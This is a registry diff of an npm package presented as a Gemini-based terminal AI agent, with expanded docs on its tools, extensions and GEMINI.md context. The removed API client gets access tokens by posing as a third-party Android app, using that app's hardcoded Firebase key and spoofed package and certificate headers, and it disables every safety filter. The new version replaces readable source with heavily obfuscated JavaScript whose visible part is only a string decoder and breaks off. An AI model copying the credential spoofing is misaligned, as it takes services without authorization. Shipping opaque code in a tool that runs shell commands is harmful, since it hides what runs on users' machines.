@ikyyofc/gemini-cli 2.0.5 → 2.0.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +60 -94
- package/docs/API.md +37 -0
- package/docs/ARCHITECTURE.md +40 -0
- package/docs/EXTENSIONS.md +65 -0
- package/docs/MEMORY.md +36 -0
- package/docs/TOOLS.md +44 -0
- package/package.json +1 -1
- package/src/gemini.js +1 -120
- package/utils/proxy-manager.js +1 -99
package/README.md
CHANGED
|
@@ -3,17 +3,28 @@
|
|
|
3
3
|
> AI Agent CLI — native function calling · GEMINI.md context · extension system
|
|
4
4
|
|
|
5
5
|
```
|
|
6
|
-
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
██║ ██║██╔══╝ ██║╚██╔╝██║██║██║╚██╗██║██║
|
|
10
|
-
╚██████╔╝███████╗██║ ╚═╝ ██║██║██║ ╚████║██║
|
|
11
|
-
╚═════╝ ╚══════╝╚═╝ ╚═╝╚═╝╚═╝ ╚═══╝╚═╝
|
|
6
|
+
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
|
7
|
+
Gemini CLI ─ AI Agent ─ native function calling
|
|
8
|
+
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
|
12
9
|
```
|
|
13
10
|
|
|
11
|
+
Gemini CLI adalah asisten terminal bertenaga AI yang menggunakan model Gemini dari Google. CLI ini bukan sekadar antarmuka chat biasa, melainkan sebuah **AI Agent** yang dapat berinteraksi langsung dengan sistem file dan environment lokal Anda menggunakan *native function calling*.
|
|
12
|
+
|
|
14
13
|
---
|
|
15
14
|
|
|
16
|
-
##
|
|
15
|
+
## 📚 Dokumentasi Lengkap
|
|
16
|
+
|
|
17
|
+
Untuk detail lebih lanjut mengenai arsitektur dan fitur spesifik, silakan baca dokumentasi berikut:
|
|
18
|
+
|
|
19
|
+
- [**Architecture Overview**](./docs/ARCHITECTURE.md) - Penjelasan tentang ReAct loop dan cara kerja agent.
|
|
20
|
+
- [**API Reference**](./docs/API.md) - Referensi fungsi utama (`callGemini`, `chat`).
|
|
21
|
+
- [**Tools (Function Calling)**](./docs/TOOLS.md) - Daftar lengkap tool yang tersedia untuk agent (baca file, jalankan shell, dll).
|
|
22
|
+
- [**Extensions System**](./docs/EXTENSIONS.md) - Cara membuat dan mengelola ekstensi serta custom commands.
|
|
23
|
+
- [**Memory & Context**](./docs/MEMORY.md) - Panduan menggunakan `GEMINI.md` untuk memberikan konteks pada agent.
|
|
24
|
+
|
|
25
|
+
---
|
|
26
|
+
|
|
27
|
+
## 🚀 Instalasi
|
|
17
28
|
|
|
18
29
|
```bash
|
|
19
30
|
npm install
|
|
@@ -23,118 +34,73 @@ npm link # optional: pakai sebagai `gemini` di terminal
|
|
|
23
34
|
|
|
24
35
|
---
|
|
25
36
|
|
|
26
|
-
## Penggunaan
|
|
37
|
+
## 💻 Penggunaan
|
|
38
|
+
|
|
39
|
+
Anda dapat menggunakan Gemini CLI dalam mode interaktif (REPL) atau mode *one-shot* langsung dari terminal.
|
|
27
40
|
|
|
28
41
|
```bash
|
|
29
|
-
gemini # interactive agent
|
|
30
|
-
gemini "buatkan REST API di ./api" #
|
|
31
|
-
gemini --system "Kamu senior backend engineer"
|
|
32
|
-
gemini --file ./app.js "jelaskan kode ini"
|
|
33
|
-
gemini --yolo "refactor semua file di src/"
|
|
34
|
-
gemini --chat #
|
|
42
|
+
gemini # Masuk ke mode interactive agent
|
|
43
|
+
gemini "buatkan REST API di ./api" # One-shot task
|
|
44
|
+
gemini --system "Kamu senior backend engineer" # Set system prompt
|
|
45
|
+
gemini --file ./app.js "jelaskan kode ini" # Lampirkan file
|
|
46
|
+
gemini --yolo "refactor semua file di src/" # Skip semua konfirmasi tool (HATI-HATI)
|
|
47
|
+
gemini --chat # Plain chat tanpa tools (bukan agent)
|
|
35
48
|
```
|
|
36
49
|
|
|
37
|
-
|
|
38
|
-
|
|
39
|
-
## GEMINI.md — Context Files
|
|
50
|
+
### Interactive Commands
|
|
40
51
|
|
|
41
|
-
|
|
52
|
+
Saat berada di dalam mode interaktif, Anda dapat menggunakan perintah berikut:
|
|
42
53
|
|
|
43
|
-
| Lokasi | Scope |
|
|
44
|
-
|--------|-------|
|
|
45
|
-
| `~/.gemini/GEMINI.md` | Global semua project |
|
|
46
|
-
| `./GEMINI.md` | Project root (sampai `.git`) |
|
|
47
|
-
|
|
48
|
-
Support import antar file:
|
|
49
|
-
```md
|
|
50
|
-
@./components/style.md
|
|
51
|
-
@../shared/conventions.md
|
|
52
|
-
```
|
|
53
|
-
|
|
54
|
-
**Commands:**
|
|
55
54
|
```
|
|
56
|
-
/
|
|
57
|
-
/
|
|
58
|
-
/
|
|
55
|
+
/agent → Toggle agent mode (tools on/off)
|
|
56
|
+
/yolo → Skip all tool confirmations
|
|
57
|
+
/file <path> → Attach file to next message
|
|
58
|
+
/system <text> → Set system instruction
|
|
59
|
+
/history → Show conversation turns
|
|
60
|
+
/export <file> → Export history to JSON
|
|
61
|
+
/cd <path> → Change working directory
|
|
62
|
+
/cwd → Show current working directory
|
|
63
|
+
/new /clear → Reset conversation
|
|
64
|
+
/model → Show model & config
|
|
65
|
+
/help → Show help
|
|
66
|
+
/exit /quit → Exit
|
|
59
67
|
```
|
|
60
68
|
|
|
61
69
|
---
|
|
62
70
|
|
|
63
|
-
##
|
|
64
|
-
|
|
65
|
-
Manifest: `~/.gemini/extensions/<name>/gemini-extension.json`
|
|
66
|
-
|
|
67
|
-
```json
|
|
68
|
-
{
|
|
69
|
-
"name": "my-ext",
|
|
70
|
-
"version": "1.0.0",
|
|
71
|
-
"description": "...",
|
|
72
|
-
"contextFileName": "GEMINI.md",
|
|
73
|
-
"enabled": true,
|
|
74
|
-
"commands": {
|
|
75
|
-
"do-thing": {
|
|
76
|
-
"description": "Does a thing",
|
|
77
|
-
"prompt": "Do this: {{args}}"
|
|
78
|
-
}
|
|
79
|
-
}
|
|
80
|
-
}
|
|
81
|
-
```
|
|
71
|
+
## 🧠 Fitur Utama
|
|
82
72
|
|
|
83
|
-
|
|
84
|
-
|
|
85
|
-
/ext list
|
|
86
|
-
/ext install /path/to/ext
|
|
87
|
-
/ext install https://github.com/user/repo
|
|
88
|
-
/ext uninstall <name>
|
|
89
|
-
/ext enable / disable <name>
|
|
90
|
-
/ext update <name>
|
|
91
|
-
```
|
|
92
|
-
|
|
93
|
-
Custom commands dipanggil: `/code-reviewer:review ./src/app.js`
|
|
73
|
+
### 1. Native Function Calling (Tools)
|
|
74
|
+
Agent dapat membaca file, menulis file, menjalankan perintah shell, dan mencari file secara mandiri untuk menyelesaikan tugas yang Anda berikan. [Baca selengkapnya](./docs/TOOLS.md).
|
|
94
75
|
|
|
95
|
-
|
|
76
|
+
### 2. Hierarchical Context (`GEMINI.md`)
|
|
77
|
+
Anda dapat memberikan instruksi spesifik proyek atau global menggunakan file `GEMINI.md`. Agent akan memuat konteks ini secara otomatis. [Baca selengkapnya](./docs/MEMORY.md).
|
|
96
78
|
|
|
97
|
-
|
|
98
|
-
|
|
99
|
-
| Tool | Aksi |
|
|
100
|
-
|------|------|
|
|
101
|
-
| `read_file` | Baca file |
|
|
102
|
-
| `write_file` | Tulis/overwrite file |
|
|
103
|
-
| `patch_file` | Edit bagian spesifik |
|
|
104
|
-
| `append_file` | Append ke file |
|
|
105
|
-
| `list_dir` | List direktori |
|
|
106
|
-
| `find_files` | Cari file (glob) |
|
|
107
|
-
| `search_in_files` | Grep dalam file |
|
|
108
|
-
| `run_shell` | Jalankan shell command |
|
|
109
|
-
| `create_dir` | Buat direktori |
|
|
110
|
-
| `delete_file` | Hapus file |
|
|
111
|
-
| `move_file` | Pindah/rename |
|
|
112
|
-
| `get_env` | Info environment |
|
|
113
|
-
| `read_url` | Fetch URL / API |
|
|
79
|
+
### 3. Extension System
|
|
80
|
+
Perluas kemampuan CLI dengan membuat ekstensi yang berisi custom commands dan konteks tambahan. [Baca selengkapnya](./docs/EXTENSIONS.md).
|
|
114
81
|
|
|
115
82
|
---
|
|
116
83
|
|
|
117
|
-
## Struktur
|
|
84
|
+
## 📂 Struktur Direktori
|
|
118
85
|
|
|
119
86
|
```
|
|
120
87
|
gemini-cli/
|
|
121
88
|
├── index.js ← CLI entry + REPL + commands
|
|
122
|
-
├── GEMINI.md ← Project context (auto-loaded)
|
|
123
89
|
├── package.json
|
|
90
|
+
├── docs/ ← Dokumentasi lengkap
|
|
124
91
|
├── src/
|
|
125
92
|
│ ├── gemini.js ← API client (native function calling)
|
|
126
93
|
│ ├── tools.js ← functionDeclarations + executor
|
|
127
94
|
│ ├── agent.js ← ReAct loop
|
|
128
95
|
│ ├── memory.js ← GEMINI.md hierarchy loader
|
|
129
96
|
│ ├── extensions.js ← Extension manager
|
|
130
|
-
│
|
|
131
|
-
└──
|
|
132
|
-
|
|
133
|
-
|
|
134
|
-
|
|
135
|
-
|
|
136
|
-
|
|
137
|
-
├──
|
|
138
|
-
|
|
139
|
-
|
|
140
|
-
```
|
|
97
|
+
│ ├── renderer.js ← Terminal UI + markdown
|
|
98
|
+
│ └── input.js ← Bracketed paste via Transform stream
|
|
99
|
+
└── utils/
|
|
100
|
+
└── proxy-manager.js ← Global proxy manager
|
|
101
|
+
|
|
102
|
+
~/.gemini/ ← Global config dir (dibuat otomatis)
|
|
103
|
+
├── GEMINI.md ← Global context
|
|
104
|
+
├── extensions/ ← Folder instalasi ekstensi
|
|
105
|
+
└── commands/ ← Global custom commands
|
|
106
|
+
```
|
package/docs/API.md
ADDED
|
@@ -0,0 +1,37 @@
|
|
|
1
|
+
# API Reference
|
|
2
|
+
|
|
3
|
+
The Gemini CLI exposes its core functionality through `src/gemini.js`.
|
|
4
|
+
|
|
5
|
+
## `callGemini(options)`
|
|
6
|
+
|
|
7
|
+
The primary function for interacting with the Gemini API, supporting native function calling and multimodal inputs.
|
|
8
|
+
|
|
9
|
+
### Parameters
|
|
10
|
+
|
|
11
|
+
An object containing the following properties:
|
|
12
|
+
|
|
13
|
+
- `messages` (Array): The conversation history. Each message should have a `role` (`user` or `model`) and `parts` (an array of text or function call/response objects).
|
|
14
|
+
- `fileBuffer` (Buffer, optional): A buffer containing a file to be sent as an inline attachment (e.g., an image or document).
|
|
15
|
+
- `tools` (Array, optional): An array of tool declarations. Typically `GEMINI_TOOLS` from `src/tools.js`.
|
|
16
|
+
- `systemInstruction` (String, optional): The system prompt to guide the model's behavior.
|
|
17
|
+
|
|
18
|
+
### Returns
|
|
19
|
+
|
|
20
|
+
A Promise that resolves to an object containing:
|
|
21
|
+
|
|
22
|
+
- `parts`: The response parts from the model (text or function calls).
|
|
23
|
+
- `raw`: The raw response object from the API.
|
|
24
|
+
- `full`: The complete API response data.
|
|
25
|
+
|
|
26
|
+
## `chat(messages, systemInstruction)`
|
|
27
|
+
|
|
28
|
+
A simplified wrapper around `callGemini` for plain text chat without tools.
|
|
29
|
+
|
|
30
|
+
### Parameters
|
|
31
|
+
|
|
32
|
+
- `messages` (Array): The conversation history.
|
|
33
|
+
- `systemInstruction` (String, optional): The system prompt.
|
|
34
|
+
|
|
35
|
+
### Returns
|
|
36
|
+
|
|
37
|
+
A Promise that resolves to the concatenated text response from the model.
|
|
@@ -0,0 +1,40 @@
|
|
|
1
|
+
# Architecture Overview
|
|
2
|
+
|
|
3
|
+
Gemini CLI is built around a ReAct (Reasoning and Acting) agent loop that leverages Gemini's native function calling capabilities.
|
|
4
|
+
|
|
5
|
+
## Core Components
|
|
6
|
+
|
|
7
|
+
1. **Agent Loop (`src/agent.js`)**
|
|
8
|
+
- Implements the ReAct loop.
|
|
9
|
+
- Sends the conversation history and available tools to the Gemini API.
|
|
10
|
+
- If the model responds with a `functionCall`, the agent executes the corresponding tool locally.
|
|
11
|
+
- The result of the tool execution is appended to the conversation history as a `functionResponse`.
|
|
12
|
+
- This loop continues until the model provides a final text response without any tool calls.
|
|
13
|
+
|
|
14
|
+
2. **Native Function Calling (`src/gemini.js` & `src/tools.js`)**
|
|
15
|
+
- The CLI uses Gemini's native `tools` parameter to pass `functionDeclarations`.
|
|
16
|
+
- `src/tools.js` defines the schema for all available tools (e.g., `read_file`, `run_shell`) using an OpenAPI-subset format.
|
|
17
|
+
- The `executeTool` function handles the actual execution of these tools on the local system, including prompting the user for confirmation on destructive actions.
|
|
18
|
+
|
|
19
|
+
3. **Memory & Context (`src/memory.js`)**
|
|
20
|
+
- Implements a hierarchical context loading system based on `GEMINI.md` files.
|
|
21
|
+
- Context is loaded globally (`~/.gemini/GEMINI.md`), from extensions, and from the project root up to the current working directory.
|
|
22
|
+
- Supports recursive imports using `@./path/to/file.md`.
|
|
23
|
+
|
|
24
|
+
4. **Extension System (`src/extensions.js`)**
|
|
25
|
+
- Allows extending the CLI's capabilities with custom commands and context.
|
|
26
|
+
- Extensions are stored in `~/.gemini/extensions/` and defined via a `gemini-extension.json` manifest.
|
|
27
|
+
- Custom commands can be defined in extensions or globally in `~/.gemini/commands/`.
|
|
28
|
+
|
|
29
|
+
5. **Terminal UI (`src/renderer.js` & `src/input.js`)**
|
|
30
|
+
- Handles rendering markdown, syntax highlighting, and tool execution status in the terminal.
|
|
31
|
+
- `src/input.js` manages user input, including support for bracketed paste to handle multi-line inputs gracefully.
|
|
32
|
+
|
|
33
|
+
## Data Flow
|
|
34
|
+
|
|
35
|
+
1. User enters a prompt in the CLI.
|
|
36
|
+
2. The CLI loads context from `GEMINI.md` files and extensions.
|
|
37
|
+
3. The prompt, context, and tool declarations are sent to the Gemini API via `callGemini`.
|
|
38
|
+
4. The model decides whether to respond with text or call a tool.
|
|
39
|
+
5. If a tool is called, `agent.js` executes it via `tools.js` and sends the result back to the model.
|
|
40
|
+
6. Once the model finishes reasoning and acting, the final text response is rendered to the user.
|
|
@@ -0,0 +1,65 @@
|
|
|
1
|
+
# Extensions System
|
|
2
|
+
|
|
3
|
+
Gemini CLI supports an extension system that allows you to add custom commands and context to the agent. Extensions are managed in `~/.gemini/extensions/`.
|
|
4
|
+
|
|
5
|
+
## Extension Structure
|
|
6
|
+
|
|
7
|
+
An extension is a directory containing at least a `gemini-extension.json` manifest file. It can optionally include a `GEMINI.md` file for context.
|
|
8
|
+
|
|
9
|
+
```
|
|
10
|
+
~/.gemini/extensions/my-extension/
|
|
11
|
+
├── gemini-extension.json
|
|
12
|
+
└── GEMINI.md
|
|
13
|
+
```
|
|
14
|
+
|
|
15
|
+
## Manifest (`gemini-extension.json`)
|
|
16
|
+
|
|
17
|
+
The manifest defines the extension's metadata and custom commands.
|
|
18
|
+
|
|
19
|
+
```json
|
|
20
|
+
{
|
|
21
|
+
"name": "my-extension",
|
|
22
|
+
"version": "1.0.0",
|
|
23
|
+
"description": "A sample extension",
|
|
24
|
+
"contextFileName": "GEMINI.md",
|
|
25
|
+
"enabled": true,
|
|
26
|
+
"commands": {
|
|
27
|
+
"review": {
|
|
28
|
+
"description": "Review the provided code",
|
|
29
|
+
"prompt": "Please review the following code and suggest improvements: {{args}}"
|
|
30
|
+
}
|
|
31
|
+
}
|
|
32
|
+
}
|
|
33
|
+
```
|
|
34
|
+
|
|
35
|
+
## Custom Commands
|
|
36
|
+
|
|
37
|
+
Custom commands defined in the manifest can be invoked in the CLI using the syntax `/extension-name:command-name [args]`.
|
|
38
|
+
|
|
39
|
+
For example, using the manifest above:
|
|
40
|
+
```bash
|
|
41
|
+
/my-extension:review ./src/app.js
|
|
42
|
+
```
|
|
43
|
+
This will expand to the prompt defined in the manifest, replacing `{{args}}` with `./src/app.js`.
|
|
44
|
+
|
|
45
|
+
## Managing Extensions
|
|
46
|
+
|
|
47
|
+
You can manage extensions using the `/ext` command in the interactive CLI:
|
|
48
|
+
|
|
49
|
+
- `/ext list`: List all installed extensions.
|
|
50
|
+
- `/ext install <path-or-url>`: Install an extension from a local path or a Git repository.
|
|
51
|
+
- `/ext uninstall <name>`: Uninstall an extension.
|
|
52
|
+
- `/ext enable <name>`: Enable an extension.
|
|
53
|
+
- `/ext disable <name>`: Disable an extension.
|
|
54
|
+
- `/ext update <name>`: Update an extension (if installed via Git).
|
|
55
|
+
|
|
56
|
+
## Global Commands
|
|
57
|
+
|
|
58
|
+
In addition to extensions, you can define global custom commands in `~/.gemini/commands/<namespace>/<name>.toml`.
|
|
59
|
+
|
|
60
|
+
Example `~/.gemini/commands/git/commit.toml`:
|
|
61
|
+
```toml
|
|
62
|
+
description = "Generate a commit message"
|
|
63
|
+
prompt = "Generate a concise conventional commit message for the following git diff: {{args}}"
|
|
64
|
+
```
|
|
65
|
+
Usage: `/git:commit`
|
package/docs/MEMORY.md
ADDED
|
@@ -0,0 +1,36 @@
|
|
|
1
|
+
# Memory & Context (`GEMINI.md`)
|
|
2
|
+
|
|
3
|
+
Gemini CLI uses a hierarchical context loading system based on `GEMINI.md` files. This allows you to provide persistent instructions, coding conventions, and project-specific knowledge to the AI agent.
|
|
4
|
+
|
|
5
|
+
## Context Hierarchy
|
|
6
|
+
|
|
7
|
+
When you start a conversation, the CLI loads context from `GEMINI.md` files in the following order (lowest to highest priority):
|
|
8
|
+
|
|
9
|
+
1. **Global Context**: `~/.gemini/GEMINI.md`
|
|
10
|
+
- Use this for global preferences, such as "Always use TypeScript" or "I prefer concise answers."
|
|
11
|
+
2. **Extension Context**: `~/.gemini/extensions/<name>/GEMINI.md`
|
|
12
|
+
- Extensions can inject their own context when enabled.
|
|
13
|
+
3. **Project Context**: Walk up from the Current Working Directory (CWD) to the project root (defined by the presence of a `.git` folder).
|
|
14
|
+
- E.g., if you are in `/project/src/components`, it will load `/project/GEMINI.md`, then `/project/src/GEMINI.md`, then `/project/src/components/GEMINI.md`.
|
|
15
|
+
- This allows you to define project-wide rules at the root, and specific rules for subdirectories.
|
|
16
|
+
|
|
17
|
+
## Imports
|
|
18
|
+
|
|
19
|
+
You can modularize your context files using the `@./path/to/file.md` syntax. The CLI will recursively resolve and inline these imports.
|
|
20
|
+
|
|
21
|
+
Example `GEMINI.md`:
|
|
22
|
+
```markdown
|
|
23
|
+
# Project Context
|
|
24
|
+
This is a React project.
|
|
25
|
+
|
|
26
|
+
@./docs/conventions.md
|
|
27
|
+
@./docs/architecture.md
|
|
28
|
+
```
|
|
29
|
+
|
|
30
|
+
## Managing Memory
|
|
31
|
+
|
|
32
|
+
You can interact with the memory system using the `/memory` command in the interactive CLI:
|
|
33
|
+
|
|
34
|
+
- `/memory show`: Display all currently loaded context files and their contents.
|
|
35
|
+
- `/memory reload`: Reload the context files from disk (useful if you edited them outside the CLI).
|
|
36
|
+
- `/memory add <text>`: Append text to your global `~/.gemini/GEMINI.md` file.
|
package/docs/TOOLS.md
ADDED
|
@@ -0,0 +1,44 @@
|
|
|
1
|
+
# Tools (Native Function Calling)
|
|
2
|
+
|
|
3
|
+
Gemini CLI provides a set of built-in tools that the AI agent can use to interact with your local system. These tools are defined in `src/tools.js` and are passed to the Gemini API as native `functionDeclarations`.
|
|
4
|
+
|
|
5
|
+
## Available Tools
|
|
6
|
+
|
|
7
|
+
### File System Operations
|
|
8
|
+
|
|
9
|
+
- **`read_file`**: Reads the full contents of a file. Returns numbered lines to help the AI reference specific parts of the code.
|
|
10
|
+
- Parameters: `path` (String)
|
|
11
|
+
- **`write_file`**: Creates or overwrites a file with the provided content. Automatically creates parent directories. *(Requires confirmation)*
|
|
12
|
+
- Parameters: `path` (String), `content` (String)
|
|
13
|
+
- **`patch_file`**: Replaces a specific unique string in a file with a new string. Safer than rewriting whole files. *(Requires confirmation)*
|
|
14
|
+
- Parameters: `path` (String), `old_str` (String), `new_str` (String)
|
|
15
|
+
- **`append_file`**: Appends text to the end of an existing file. *(Requires confirmation)*
|
|
16
|
+
- Parameters: `path` (String), `content` (String)
|
|
17
|
+
- **`delete_file`**: Permanently deletes a file or empty directory. *(Requires confirmation)*
|
|
18
|
+
- Parameters: `path` (String)
|
|
19
|
+
- **`move_file`**: Moves or renames a file or directory. *(Requires confirmation)*
|
|
20
|
+
- Parameters: `from` (String), `to` (String)
|
|
21
|
+
|
|
22
|
+
### Directory & Search Operations
|
|
23
|
+
|
|
24
|
+
- **`list_dir`**: Lists files and subdirectories in a directory. Excludes `node_modules` and `.git` by default.
|
|
25
|
+
- Parameters: `path` (String, optional), `show_hidden` (Boolean, optional)
|
|
26
|
+
- **`create_dir`**: Creates a directory and all necessary parent directories (`mkdir -p`). *(Requires confirmation)*
|
|
27
|
+
- Parameters: `path` (String)
|
|
28
|
+
- **`find_files`**: Finds files matching a name pattern (glob) recursively.
|
|
29
|
+
- Parameters: `pattern` (String), `dir` (String, optional)
|
|
30
|
+
- **`search_in_files`**: Searches for a text pattern (grep) inside files recursively.
|
|
31
|
+
- Parameters: `pattern` (String), `dir` (String, optional), `extension` (String, optional), `case_insensitive` (Boolean, optional)
|
|
32
|
+
|
|
33
|
+
### Execution & Environment
|
|
34
|
+
|
|
35
|
+
- **`run_shell`**: Executes any shell command (e.g., `npm install`, `git status`, running tests). Returns stdout and stderr. *(Requires confirmation)*
|
|
36
|
+
- Parameters: `command` (String), `cwd` (String, optional), `timeout` (Number, optional)
|
|
37
|
+
- **`get_env`**: Retrieves information about the current environment (CWD, platform, Node version, Git branch, etc.).
|
|
38
|
+
- Parameters: None
|
|
39
|
+
- **`read_url`**: Fetches the raw content of a URL (web page, REST API, raw file).
|
|
40
|
+
- Parameters: `url` (String), `headers` (String, optional)
|
|
41
|
+
|
|
42
|
+
## Security & Confirmation
|
|
43
|
+
|
|
44
|
+
Tools marked with *(Requires confirmation)* are considered destructive. When the AI attempts to use one of these tools, the CLI will pause and prompt the user for approval before executing the action. This can be bypassed using the `/yolo` command or the `--yolo` flag.
|
package/package.json
CHANGED
package/src/gemini.js
CHANGED
|
@@ -1,120 +1 @@
|
|
|
1
|
-
// src/gemini.js — Gemini API client with native function calling
|
|
2
|
-
import axios from "axios";
|
|
3
|
-
import { fileTypeFromBuffer } from "file-type";
|
|
4
|
-
import { setupGlobalProxy } from '../utils/proxy-manager.js';
|
|
5
|
-
setupGlobalProxy();
|
|
6
|
-
const CONFIG = {
|
|
7
|
-
URL: "https://us-central1-gemmy-ai-bdc03.cloudfunctions.net/gemini",
|
|
8
|
-
MODEL: "gemini-pro-latest",
|
|
9
|
-
HEADERS: {
|
|
10
|
-
"User-Agent": "okhttp/5.3.2",
|
|
11
|
-
"Accept-Encoding": "gzip",
|
|
12
|
-
"content-type": "application/json; charset=UTF-8"
|
|
13
|
-
}
|
|
14
|
-
};
|
|
15
|
-
|
|
16
|
-
const SUPPORTED_MIMES = new Set([
|
|
17
|
-
"image/jpeg","image/png","image/gif","image/webp","image/heic","image/heif",
|
|
18
|
-
"video/mp4","video/mpeg","video/mov","video/avi","video/x-flv","video/mpg",
|
|
19
|
-
"video/webm","video/wmv","video/3gpp",
|
|
20
|
-
"audio/wav","audio/mp3","audio/aiff","audio/aac","audio/ogg","audio/flac",
|
|
21
|
-
"audio/mpeg","audio/ogg; codecs=opus",
|
|
22
|
-
"application/pdf","text/plain","text/html","text/css","text/javascript",
|
|
23
|
-
"text/x-typescript","text/csv","text/markdown","text/x-python",
|
|
24
|
-
"application/json","application/xml","application/rtf"
|
|
25
|
-
]);
|
|
26
|
-
|
|
27
|
-
async function getToken() {
|
|
28
|
-
const { data } = await axios.post(
|
|
29
|
-
"https://www.googleapis.com/identitytoolkit/v3/relyingparty/signupNewUser?key=AIzaSyAxof8_SbpDcww38NEQRhNh0Pzvbphh-IQ",
|
|
30
|
-
{ clientType: "CLIENT_TYPE_ANDROID" },
|
|
31
|
-
{ headers: {
|
|
32
|
-
"User-Agent": "Dalvik/2.1.0 (Linux; U; Android 12; SM-S9280 Build/AP3A.240905.015.A2)",
|
|
33
|
-
"Content-Type": "application/json",
|
|
34
|
-
"X-Android-Package":"com.jetkite.gemmy",
|
|
35
|
-
"X-Android-Cert": "037CD2976D308B4EFD63EC63C48DC6E7AB7E5AF2",
|
|
36
|
-
"X-Firebase-GMPID": "1:652803432695:android:c4341db6033e62814f33f2"
|
|
37
|
-
}}
|
|
38
|
-
);
|
|
39
|
-
return data.idToken;
|
|
40
|
-
}
|
|
41
|
-
|
|
42
|
-
/**
|
|
43
|
-
* Core API call — supports:
|
|
44
|
-
* - plain chat (messages only)
|
|
45
|
-
* - file attachment (fileBuffer)
|
|
46
|
-
* - native function calling (tools = [{ functionDeclarations: [...] }])
|
|
47
|
-
* - function responses in history (parts with functionCall / functionResponse)
|
|
48
|
-
*/
|
|
49
|
-
export async function callGemini({ messages = [], fileBuffer = null, tools = null, systemInstruction = null } = {}) {
|
|
50
|
-
const token = await getToken();
|
|
51
|
-
|
|
52
|
-
// Separate system message
|
|
53
|
-
const sysMsg = messages.find(m => m.role === "system");
|
|
54
|
-
const sysText = systemInstruction
|
|
55
|
-
?? (sysMsg ? (typeof sysMsg.content === "string" ? sysMsg.content : sysMsg.parts?.[0]?.text ?? "") : null);
|
|
56
|
-
|
|
57
|
-
// Build contents array — support both {role,content} and {role,parts} formats
|
|
58
|
-
const contents = messages
|
|
59
|
-
.filter(m => m.role !== "system")
|
|
60
|
-
.map(m => {
|
|
61
|
-
if (m.parts) {
|
|
62
|
-
// Already in Gemini parts format (used for functionCall / functionResponse turns)
|
|
63
|
-
return { role: m.role === "assistant" ? "model" : m.role, parts: m.parts };
|
|
64
|
-
}
|
|
65
|
-
return {
|
|
66
|
-
role: m.role === "assistant" ? "model" : m.role,
|
|
67
|
-
parts: [{ text: typeof m.content === "string" ? m.content : JSON.stringify(m.content) }]
|
|
68
|
-
};
|
|
69
|
-
});
|
|
70
|
-
|
|
71
|
-
// Attach file to last user message if provided
|
|
72
|
-
if (fileBuffer) {
|
|
73
|
-
const result = await fileTypeFromBuffer(fileBuffer);
|
|
74
|
-
const mimeType = result?.mime ?? "application/octet-stream";
|
|
75
|
-
if (!SUPPORTED_MIMES.has(mimeType)) throw new Error(`Unsupported file type: ${mimeType}`);
|
|
76
|
-
const filePart = { inlineData: { mimeType, data: fileBuffer.toString("base64") } };
|
|
77
|
-
const last = contents[contents.length - 1];
|
|
78
|
-
if (last?.role === "user") last.parts.push(filePart);
|
|
79
|
-
else contents.push({ role: "user", parts: [filePart] });
|
|
80
|
-
}
|
|
81
|
-
|
|
82
|
-
const payload = {
|
|
83
|
-
model: CONFIG.MODEL,
|
|
84
|
-
request: {
|
|
85
|
-
contents,
|
|
86
|
-
generationConfig: {
|
|
87
|
-
thinkingConfig: { thinkingLevel: "HIGH" },
|
|
88
|
-
temperature: 0
|
|
89
|
-
},
|
|
90
|
-
safetySettings: [
|
|
91
|
-
{ category: "HARM_CATEGORY_HARASSMENT", threshold: "BLOCK_NONE" },
|
|
92
|
-
{ category: "HARM_CATEGORY_HATE_SPEECH", threshold: "BLOCK_NONE" },
|
|
93
|
-
{ category: "HARM_CATEGORY_SEXUALLY_EXPLICIT", threshold: "BLOCK_NONE" },
|
|
94
|
-
{ category: "HARM_CATEGORY_DANGEROUS_CONTENT", threshold: "BLOCK_NONE" }
|
|
95
|
-
],
|
|
96
|
-
// ── Native function calling ──────────────────────────────────────
|
|
97
|
-
...(tools?.length && { tools }),
|
|
98
|
-
// ── System instruction ───────────────────────────────────────────
|
|
99
|
-
...(sysText && { systemInstruction: { role: "user", parts: [{ text: sysText }] } })
|
|
100
|
-
},
|
|
101
|
-
stream: false
|
|
102
|
-
};
|
|
103
|
-
|
|
104
|
-
const { data } = await axios.post(CONFIG.URL, payload, {
|
|
105
|
-
headers: { ...CONFIG.HEADERS, authorization: `Bearer ${token}` }
|
|
106
|
-
});
|
|
107
|
-
|
|
108
|
-
if (!data?.candidates?.length) throw new Error("No response candidates from API");
|
|
109
|
-
|
|
110
|
-
const candidate = data.candidates[0];
|
|
111
|
-
const parts = candidate.content?.parts ?? [];
|
|
112
|
-
|
|
113
|
-
return { parts, candidate, raw: data };
|
|
114
|
-
}
|
|
115
|
-
|
|
116
|
-
/** Convenience: plain text chat (no tools) */
|
|
117
|
-
export async function chat(messages = [], fileBuffer = null) {
|
|
118
|
-
const { parts } = await callGemini({ messages, fileBuffer });
|
|
119
|
-
return parts.map(p => p.text ?? "").join("");
|
|
120
|
-
}
|
|
1
|
+
const _0x4d79e7=_0xd2f4;function _0xd2f4(_0x581284,_0x25f364){_0x581284=_0x581284-0x116;const _0x1f5b6a=_0x120f();let _0x199d65=_0x1f5b6a[_0x581284];if(_0xd2f4['RqljDs']===undefined){var _0x1126e9=function(_0x4d2b7f){const _0x26996c='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x23d236='',_0x3a0666='';for(let _0x574dbf=0x0,_0xb75242,_0x25f5c8,_0x2da917=0x0;_0x25f5c8=_0x4d2b7f['charAt'](_0x2da917++);~_0x25f5c8&&(_0xb75242=_0x574dbf%0x4?_0xb75242*0x40+_0x25f5c8:_0x25f5c8,_0x574dbf++%0x4)?_0x23d236+=String['fromCharCode'](0xff&_0xb75242>>(-0x2*_0x574dbf&0x6)):0x0){_0x25f5c8=_0x26996c['indexOf'](_0x25f5c8);}for(let _0x24881d=0x0,_0xfbfde8=_0x23d236['length'];_0x24881d<_0xfbfde8;_0x24881d++){_0x3a0666+='%'+('00'+_0x23d236['charCodeAt'](_0x24881d)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x3a0666);};const _0x3ec76b=function(_0x5d265b,_0x3f303e){let _0x71e7d4=[],_0x532713=0x0,_0x15637d,_0x2a86a2='';_0x5d265b=_0x1126e9(_0x5d265b);let 